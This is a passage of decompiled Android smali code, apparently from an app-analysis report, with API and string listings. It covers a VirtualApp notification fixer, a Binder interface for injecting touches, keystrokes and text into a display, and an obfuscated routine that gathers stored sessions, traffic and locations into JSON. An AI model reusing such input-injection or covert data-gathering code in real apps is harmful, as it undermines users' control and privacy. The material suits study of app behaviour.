                              231invoke-virtual {v2, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              232move-result v5
                              233if-eqz v5, :cond_143
                              235invoke-virtual {v1, v9}, Ljava/util/ArrayList;->remove(Ljava/lang/Object;)Z
                              236goto/16 :goto_2c
                              237cond_143:
                              238const-string v5, "setBackgroundResource"
                              240invoke-virtual {v2, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              241move-result v5
                              242if-eqz v5, :cond_150
                              244invoke-virtual {v1, v9}, Ljava/util/ArrayList;->remove(Ljava/lang/Object;)Z
                              245goto/16 :goto_2c
                              246cond_150:
                              247const-string v5, "setImageURI"
                              249invoke-virtual {v2, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              250move-result v2
                              251if-eqz v2, :cond_16b
                              252check-cast v4, Landroid/net/Uri;
                              254invoke-virtual {v4}, Landroid/net/Uri;->getScheme()Ljava/lang/String;
                              255move-result-object v2
                              257const-string v4, "http"
                              259invoke-virtual {v2, v4}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                              260move-result v2
                              261if-nez v2, :cond_2c
                              263invoke-virtual {v1, v9}, Ljava/util/ArrayList;->remove(Ljava/lang/Object;)Z
                              264goto/16 :goto_2c
                              265cond_16b: sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
                              266const/16 v5, 0x17
                              267if-lt v2, v5, :cond_2c
                              268instance-of v2, v4, Landroid/graphics/drawable/Icon;
                              269if-eqz v2, :cond_2c
                              270check-cast v4, Landroid/graphics/drawable/Icon;
                              271move/from16 v0, p2
                              273invoke-virtual {p0, v4, p1, v0}, Lcom/lody/virtual/server/notification/NotificationFixer;->fixIcon(Landroid/graphics/drawable/Icon;Landroid/content/Context;Z)V
                              274goto/16 :goto_2c
                              275cond_17e:
                              276invoke-interface {v8}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                              277move-result-object v2
                              278goto_182:
                              279invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                              280move-result v1
                              281if-eqz v1, :cond_19a
                              283invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              284move-result-object v1
                              285check-cast v1, Lcom/lody/virtual/server/notification/NotificationFixer$BitmapReflectionAction;
                              286iget v3, v1, Lcom/lody/virtual/server/notification/NotificationFixer$BitmapReflectionAction;->viewId:I
                              288iget-object v4, v1, Lcom/lody/virtual/server/notification/NotificationFixer$BitmapReflectionAction;->methodName:Ljava/lang/String;
                              290iget-object v1, v1, Lcom/lody/virtual/server/notification/NotificationFixer$BitmapReflectionAction;->bitmap:Landroid/graphics/Bitmap;
                              291move-object/from16 v0, p3
                              293invoke-virtual {v0, v3, v4, v1}, Landroid/widget/RemoteViews;->setBitmap(ILjava/lang/String;Landroid/graphics/Bitmap;)V
                              294goto/16 :goto_182
                              295cond_19a: sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                              296const/16 v2, 0x15
                              297if-ge v1, v2, :cond_1af
                              299sget-object v1, Lmirror/android/widget/RemoteViews;->mPackage:Lmirror/RefObject;
                              301invoke-static {}, Lcom/lody/virtual/client/core/VirtualCore;->get()Lcom/lody/virtual/client/core/VirtualCore;
                              302move-result-object v2
                              304invoke-virtual {v2}, Lcom/lody/virtual/client/core/VirtualCore;->getHostPkg()Ljava/lang/String;
                              305move-result-object v2
                              306move-object/from16 v0, p3
                              308invoke-virtual {v1, v0, v2}, Lmirror/RefObject;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                              309cond_1af: return v5
                              310cond_1b0: move v3, v5
                              311goto/16 :goto_a7
                              312cond_1b3: move v3, v5
                              313goto/16 :goto_d8
                              314cond_1b6: move v3, v5
                              315goto/16 :goto_2c
                              APIs
                              • android.os.Binder.onTransact
                              • android.os.Parcel.writeString
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readStrongBinder
                              • com.omg.crevent.IPlayCallback$Stub.asInterface
                              • com.omg.crevent.IEventCall$Stub.startPlay
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • com.omg.crevent.IEventCall$Stub.stopPlay
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • com.omg.crevent.IEventCall$Stub.getDisplay
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeString
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readFloat
                              • android.os.Parcel.readFloat
                              • com.omg.crevent.IEventCall$Stub.inputStart
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readString
                              • com.omg.crevent.IEventCall$Stub.inputText
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readFloat
                              • android.os.Parcel.readFloat
                              • android.os.Parcel.readString
                              • com.omg.crevent.IEventCall$Stub.inputTextBy
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readFloat
                              • android.os.Parcel.readFloat
                              • com.omg.crevent.IEventCall$Stub.getInputText
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeString
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readFloat
                              • android.os.Parcel.readFloat
                              • com.omg.crevent.IEventCall$Stub.sendTouchEvent
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.createByteArray
                              • com.omg.crevent.IEventCall$Stub.sendTouchEventBy
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.omg.crevent.IEventCall$Stub.sendKeyEvent
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readFloat
                              • android.os.Parcel.readFloat
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.omg.crevent.IEventCall$Stub.sendKeyEventByView
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • com.omg.crevent.IEventCall$Stub.isFinished
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • com.omg.crevent.IEventCall$Stub.kill
                              • android.os.Parcel.writeNoException
                              Strings
                              • com.omg.crevent.IEventCall
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2const/4 v1, 0x1
                              3sparse-switch p1, :sswitch_data_138
                              5invoke-super {p0, p1, p2, p3, p4}, Landroid/os/Binder;->onTransact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z
                              6move-result v1
                              7goto_9: return v1
                              8sswitch_a:
                              9const-string v0, "com.omg.crevent.IEventCall"
                              11invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              12goto/16 :goto_9
                              13sswitch_10:
                              14const-string v2, "com.omg.crevent.IEventCall"
                              16invoke-virtual {p2, v2}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              18invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              19move-result-object v2
                              21invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              22move-result-object v3
                              24invoke-static {v3}, Lcom/omg/crevent/IPlayCallback$Stub;->asInterface(Landroid/os/IBinder;)Lcom/omg/crevent/IPlayCallback;
                              25move-result-object v3
                              27invoke-virtual {p0, v2, v3}, Lcom/omg/crevent/IEventCall$Stub;->startPlay(Ljava/lang/String;Lcom/omg/crevent/IPlayCallback;)Z
                              28move-result v2
                              30invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              31if-eqz v2, :cond_2b
                              32move v0, v1
                              33cond_2b:
                              34invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              35goto/16 :goto_9
                              36sswitch_2f:
                              37const-string v0, "com.omg.crevent.IEventCall"
                              39invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              41invoke-virtual {p0}, Lcom/omg/crevent/IEventCall$Stub;->stopPlay()V
                              43invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              44goto/16 :goto_9
                              45sswitch_3b:
                              46const-string v0, "com.omg.crevent.IEventCall"
                              48invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              50invoke-virtual {p0}, Lcom/omg/crevent/IEventCall$Stub;->getDisplay()Ljava/lang/String;
                              51move-result-object v0
                              53invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              55invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              56goto/16 :goto_9
                              57sswitch_4b:
                              58const-string v0, "com.omg.crevent.IEventCall"
                              60invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              62invoke-virtual {p2}, Landroid/os/Parcel;->readFloat()F
                              63move-result v0
                              65invoke-virtual {p2}, Landroid/os/Parcel;->readFloat()F
                              66move-result v2
                              68invoke-virtual {p0, v0, v2}, Lcom/omg/crevent/IEventCall$Stub;->inputStart(FF)I
                              69move-result v0
                              71invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              73invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              74goto/16 :goto_9
                              75sswitch_63:
                              76const-string v2, "com.omg.crevent.IEventCall"
                              78invoke-virtual {p2, v2}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              80invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              81move-result v2
                              83invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              84move-result-object v3
                              86invoke-virtual {p0, v2, v3}, Lcom/omg/crevent/IEventCall$Stub;->inputText(ILjava/lang/String;)Z
                              87move-result v2
                              89invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              90if-eqz v2, :cond_7a
                              91move v0, v1
                              92cond_7a:
                              93invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              94goto/16 :goto_9
                              95sswitch_7e:
                              96const-string v2, "com.omg.crevent.IEventCall"
                              98invoke-virtual {p2, v2}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              100invoke-virtual {p2}, Landroid/os/Parcel;->readFloat()F
                              101move-result v2
                              103invoke-virtual {p2}, Landroid/os/Parcel;->readFloat()F
                              104move-result v3
                              106invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              107move-result-object v4
                              109invoke-virtual {p0, v2, v3, v4}, Lcom/omg/crevent/IEventCall$Stub;->inputTextBy(FFLjava/lang/String;)Z
                              110move-result v2
                              112invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              113if-eqz v2, :cond_99
                              114move v0, v1
                              115cond_99:
                              116invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              117goto/16 :goto_9
                              118sswitch_9e:
                              119const-string v0, "com.omg.crevent.IEventCall"
                              121invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              123invoke-virtual {p2}, Landroid/os/Parcel;->readFloat()F
                              124move-result v0
                              126invoke-virtual {p2}, Landroid/os/Parcel;->readFloat()F
                              127move-result v2
                              129invoke-virtual {p0, v0, v2}, Lcom/omg/crevent/IEventCall$Stub;->getInputText(FF)Ljava/lang/String;
                              130move-result-object v0
                              132invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              134invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              135goto/16 :goto_9
                              136sswitch_b7:
                              137const-string v0, "com.omg.crevent.IEventCall"
                              139invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              141invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              142move-result v0
                              144invoke-virtual {p2}, Landroid/os/Parcel;->readFloat()F
                              145move-result v2
                              147invoke-virtual {p2}, Landroid/os/Parcel;->readFloat()F
                              148move-result v3
                              150invoke-virtual {p0, v0, v2, v3}, Lcom/omg/crevent/IEventCall$Stub;->sendTouchEvent(IFF)V
                              152invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              153goto/16 :goto_9
                              154sswitch_d0:
                              155const-string v0, "com.omg.crevent.IEventCall"
                              157invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              159invoke-virtual {p2}, Landroid/os/Parcel;->createByteArray()[B
                              160move-result-object v0
                              162invoke-virtual {p0, v0}, Lcom/omg/crevent/IEventCall$Stub;->sendTouchEventBy([B)V
                              164invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              165goto/16 :goto_9
                              166sswitch_e1:
                              167const-string v0, "com.omg.crevent.IEventCall"
                              169invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              171invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              172move-result v0
                              174invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              175move-result v2
                              177invoke-virtual {p0, v0, v2}, Lcom/omg/crevent/IEventCall$Stub;->sendKeyEvent(II)V
                              179invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              180goto/16 :goto_9
                              181sswitch_f6:
                              182const-string v2, "com.omg.crevent.IEventCall"
                              184invoke-virtual {p2, v2}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              186invoke-virtual {p2}, Landroid/os/Parcel;->readFloat()F
                              187move-result v2
                              189invoke-virtual {p2}, Landroid/os/Parcel;->readFloat()F
                              190move-result v3
                              192invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              193move-result v4
                              195invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              196move-result v5
                              198invoke-virtual {p0, v2, v3, v4, v5}, Lcom/omg/crevent/IEventCall$Stub;->sendKeyEventByView(FFII)Z
                              199move-result v2
                              201invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              202if-eqz v2, :cond_115
                              203move v0, v1
                              204cond_115:
                              205invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              206goto/16 :goto_9
                              207sswitch_11a:
                              208const-string v0, "com.omg.crevent.IEventCall"
                              210invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              212invoke-virtual {p0}, Lcom/omg/crevent/IEventCall$Stub;->isFinished()I
                              213move-result v0
                              215invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              217invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              218goto/16 :goto_9
                              219sswitch_12b:
                              220const-string v0, "com.omg.crevent.IEventCall"
                              222invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              224invoke-virtual {p0}, Lcom/omg/crevent/IEventCall$Stub;->kill()V
                              226invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              227goto/16 :goto_9
                              Cross References
                              APIs
                              • android.database.sqlite.SQLiteDatabase.beginTransaction
                              • android.database.sqlite.SQLiteDatabase.rawQuery
                              • org.json.JSONArray.<init>
                              • java.util.List.clear
                              • android.database.Cursor.moveToNext
                              • org.json.JSONObject.<init>
                              • android.database.Cursor.getColumnIndex
                              • android.database.Cursor.getString
                              • android.database.Cursor.getColumnIndex
                              • android.database.Cursor.getString
                              • android.text.TextUtils.isEmpty
                              • android.text.TextUtils.isEmpty
                              • java.lang.Long.parseLong
                              • java.lang.Long.parseLong
                              • android.database.Cursor.getColumnIndex
                              • android.database.Cursor.getString
                              • android.database.Cursor.getColumnIndex
                              • android.database.Cursor.getString
                              • android.database.Cursor.getColumnIndex
                              • android.database.Cursor.getString
                              • android.database.Cursor.getColumnIndex
                              • android.database.Cursor.getString
                              • android.database.Cursor.getColumnIndex
                              • android.database.Cursor.getString
                              • java.util.List.add
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • java.lang.Long.parseLong
                              • java.lang.Long.parseLong
                              • org.json.JSONObject.put
                              • android.text.TextUtils.isEmpty
                              • org.json.JSONArray.<init>
                              • org.json.JSONObject.put
                              • android.text.TextUtils.isEmpty
                              • org.json.JSONArray.<init>
                              • org.json.JSONObject.put
                              • android.text.TextUtils.isEmpty
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.put
                              • android.text.TextUtils.isEmpty
                              • org.json.JSONArray.<init>
                              • org.json.JSONObject.put
                              • org.json.JSONObject.length
                              • org.json.JSONArray.put
                              • android.database.Cursor.close
                              • android.database.sqlite.SQLiteDatabase.endTransaction
                              • org.json.JSONArray.length
                              • org.json.JSONObject.put
                              • android.database.sqlite.SQLiteDatabase.setTransactionSuccessful
                              • android.database.Cursor.close
                              • android.database.sqlite.SQLiteDatabase.endTransaction
                              • android.database.Cursor.close
                              • android.database.sqlite.SQLiteDatabase.endTransaction
                              Strings
                              • select * from __sd
                              • __f
                              • __e
                              • __a
                              • __b
                              • __c
                              • __d
                              • __ii
                              • id
                              • start_time
                              • end_time
                              • duration
                              • pages
                              • autopages
                              • traffic
                              • locations
                              • sessions
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v3, 0x0
                              2const/4 v2, 0x0
                              3try_start_2:
                              4sget-object v4, Lb/a/cx;->a:Landroid/content/Context;
                              6invoke-static {v4}, Lb/a/cv;->a(Landroid/content/Context;)Lb/a/cv;
                              7move-result-object v4
                              9invoke-virtual {v4}, Lb/a/cv;->a()Landroid/database/sqlite/SQLiteDatabase;
                              10try_end_b: move-result-object v3
                              11try_start_c:
                              12invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->beginTransaction()V
                              14const-string v4, "select * from __sd"
                              15const/4 v5, 0x0
                              17invoke-virtual {v3, v4, v5}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
                              18try_end_15: move-result-object v2
                              19if-eqz v2, :cond_138
                              20try_start_18: new-instance v4, Lorg/json/JSONArray;
                              22invoke-direct {v4}, Lorg/json/JSONArray;-><init>()V
                              23move-object/from16 v0, p0
                              25iget-object v5, v0, Lb/a/cx;->c:Ljava/util/List;
                              27invoke-interface {v5}, Ljava/util/List;->clear()V
                              28goto_24:
                              29invoke-interface {v2}, Landroid/database/Cursor;->moveToNext()Z
                              30move-result v5
                              31if-eqz v5, :cond_12b
                              32new-instance v5, Lorg/json/JSONObject;
                              34invoke-direct {v5}, Lorg/json/JSONObject;-><init>()V
                              36const-string v6, "__f"
                              38invoke-interface {v2, v6}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                              39move-result v6
                              41invoke-interface {v2, v6}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                              42move-result-object v6
                              44const-string v7, "__e"
                              46invoke-interface {v2, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                              47move-result v7
                              49invoke-interface {v2, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                              50move-result-object v7
                              52invoke-static {v6}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              53move-result v8
                              54if-nez v8, :cond_24
                              56invoke-static {v7}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              57move-result v8
                              58if-nez v8, :cond_24
                              60invoke-static {v6}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
                              61move-result-wide v8
                              63invoke-static {v7}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
                              64move-result-wide v10
                              65sub-long/2addr v8, v10
                              66const-wide/16 v10, 0x0
                              67cmp-long v8, v8, v10
                              68if-lez v8, :cond_24
                              70const-string v8, "__a"
                              72invoke-interface {v2, v8}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                              73move-result v8
                              75invoke-interface {v2, v8}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                              76move-result-object v8
                              78const-string v9, "__b"
                              80invoke-interface {v2, v9}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                              81move-result v9
                              83invoke-interface {v2, v9}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                              84move-result-object v9
                              86const-string v10, "__c"
                              88invoke-interface {v2, v10}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                              89move-result v10
                              91invoke-interface {v2, v10}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                              92move-result-object v10
                              94const-string v11, "__d"
                              96invoke-interface {v2, v11}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                              97move-result v11
                              99invoke-interface {v2, v11}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                              100move-result-object v11
                              102const-string v12, "__ii"
                              104invoke-interface {v2, v12}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                              105move-result v12
                              107invoke-interface {v2, v12}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                              108move-result-object v12
                              109move-object/from16 v0, p0
                              111iget-object v13, v0, Lb/a/cx;->c:Ljava/util/List;
                              113invoke-interface {v13, v12}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                              115const-string v13, "id"
                              117invoke-virtual {v5, v13, v12}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              119const-string v12, "start_time"
                              121invoke-virtual {v5, v12, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              123const-string v12, "end_time"
                              125invoke-virtual {v5, v12, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              127const-string v12, "duration"
                              129invoke-static {v6}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
                              130move-result-wide v14
                              132invoke-static {v7}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
                              133move-result-wide v6
                              134sub-long v6, v14, v6
                              136invoke-virtual {v5, v12, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                              138invoke-static {v8}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              139move-result v6
                              140if-nez v6, :cond_cb
                              142const-string v6, "pages"
                              143new-instance v7, Lorg/json/JSONArray;
                              144move-object/from16 v0, p0
                              146invoke-virtual {v0, v8}, Lb/a/cx;->b(Ljava/lang/String;)Ljava/lang/String;
                              147move-result-object v8
                              149invoke-direct {v7, v8}, Lorg/json/JSONArray;-><init>(Ljava/lang/String;)V
                              151invoke-virtual {v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              152cond_cb:
                              153invoke-static {v9}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              154move-result v6
                              155if-nez v6, :cond_e1
                              157const-string v6, "autopages"
                              158new-instance v7, Lorg/json/JSONArray;
                              159move-object/from16 v0, p0
                              161invoke-virtual {v0, v9}, Lb/a/cx;->b(Ljava/lang/String;)Ljava/lang/String;
                              162move-result-object v8
                              164invoke-direct {v7, v8}, Lorg/json/JSONArray;-><init>(Ljava/lang/String;)V
                              166invoke-virtual {v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              167cond_e1:
                              168invoke-static {v10}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              169move-result v6
                              170if-nez v6, :cond_f7
                              172const-string v6, "traffic"
                              173new-instance v7, Lorg/json/JSONObject;
                              174move-object/from16 v0, p0
                              176invoke-virtual {v0, v10}, Lb/a/cx;->b(Ljava/lang/String;)Ljava/lang/String;
                              177move-result-object v8
                              179invoke-direct {v7, v8}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                              181invoke-virtual {v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              182cond_f7:
                              183invoke-static {v11}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              184move-result v6
                              185if-nez v6, :cond_10d
                              187const-string v6, "locations"
                              188new-instance v7, Lorg/json/JSONArray;
                              189move-object/from16 v0, p0
                              191invoke-virtual {v0, v11}, Lb/a/cx;->b(Ljava/lang/String;)Ljava/lang/String;
                              192move-result-object v8
                              194invoke-direct {v7, v8}, Lorg/json/JSONArray;-><init>(Ljava/lang/String;)V
                              196invoke-virtual {v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              197cond_10d:
                              198invoke-virtual {v5}, Lorg/json/JSONObject;->length()I
                              199move-result v6
                              200if-lez v6, :cond_24
                              202invoke-virtual {v4, v5}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                              203try_end_116: goto/16 :goto_24
                              204catch_118: move-exception v4
                              205if-eqz v2, :cond_11e
                              207invoke-interface {v2}, Landroid/database/Cursor;->close()V
                              208cond_11e:
                              209invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->endTransaction()V
                              211sget-object v2, Lb/a/cx;->a:Landroid/content/Context;
                              213invoke-static {v2}, Lb/a/cv;->a(Landroid/content/Context;)Lb/a/cv;
                              214move-result-object v2
                              216invoke-virtual {v2}, Lb/a/cv;->b()V
                              217goto_12a: return-void
                              218try_start_12b:
                              219invoke-virtual {v4}, Lorg/json/JSONArray;->length()I
                              220move-result v5
                              221if-lez v5, :cond_138
                              223const-string v5, "sessions"
                              224move-object/from16 v0, p1
                              226invoke-virtual {v0, v5, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              227cond_138:
                              228invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->setTransactionSuccessful()V
                              229try_end_13b: if-eqz v2, :cond_140
                              231invoke-interface {v2}, Landroid/database/Cursor;->close()V
                              232cond_140:
                              233invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->endTransaction()V
                              235sget-object v2, Lb/a/cx;->a:Landroid/content/Context;
                              237invoke-static {v2}, Lb/a/cv;->a(Landroid/content/Context;)Lb/a/cv;
                              238move-result-object v2
                              240invoke-virtual {v2}, Lb/a/cv;->b()V
                              241goto/16 :goto_12a
                              242catchall_14d: move-exception v4
                              243move-object/from16 v16, v4
                              244move-object v4, v3
                              245move-object v3, v2
                              246move-object/from16 v2, v16
                              247goto_154: if-eqz v3, :cond_159
                              249invoke-interface {v3}, Landroid/database/Cursor;->close()V
                              250cond_159:
                              251invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->endTransaction()V
                              253sget-object v3, Lb/a/cx;->a:Landroid/content/Context;
                              255invoke-static {v3}, Lb/a/cv;->a(Landroid/content/Context;)Lb/a/cv;
                              256move-result-object v3
                              258invoke-virtual {v3}, Lb/a/cv;->b()V
                              259throw v2
                              260catchall_166: move-exception v4
                              261move-object/from16 v16, v4
                              262move-object v4, v3
                              263move-object v3, v2
                              264move-object/from16 v2, v16
                              265goto/16 :goto_154
                              266catchall_16e: move-exception v4
                              267move-object/from16 v16, v4
                              268move-object v4, v3
                              269move-object v3, v2
                              270move-object/from16 v2, v16
                              271goto/16 :goto_154
                              Cross References
                              APIs
                              • java.lang.Object.<init>
                              • android.os.Parcel.readInt
                              • java.util.ArrayList.<init>
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.d
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readStrongBinder
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.d
                              • android.os.Parcel.obtain
                              • android.os.Parcel.obtain
                              • android.os.Parcel.writeInt
                              • android.os.IBinder.transact
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readParcelable
                              • java.lang.Object.getClass
                              • java.util.List.add
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.util.List.size
                              • java.util.List.get
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.d
                              • android.os.Parcel.readParcelable
                              • java.lang.Object.getClass
                              • java.util.List.add
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.util.List.size
                              • java.util.List.get
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.d
                              • java.lang.Object.getClass
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.w
                              • android.os.Parcel.recycle
                              • android.os.Parcel.recycle
                              Strings
                              • Retrieving
                              • items
                              • Reading more @
                              • of
                              • : retriever=
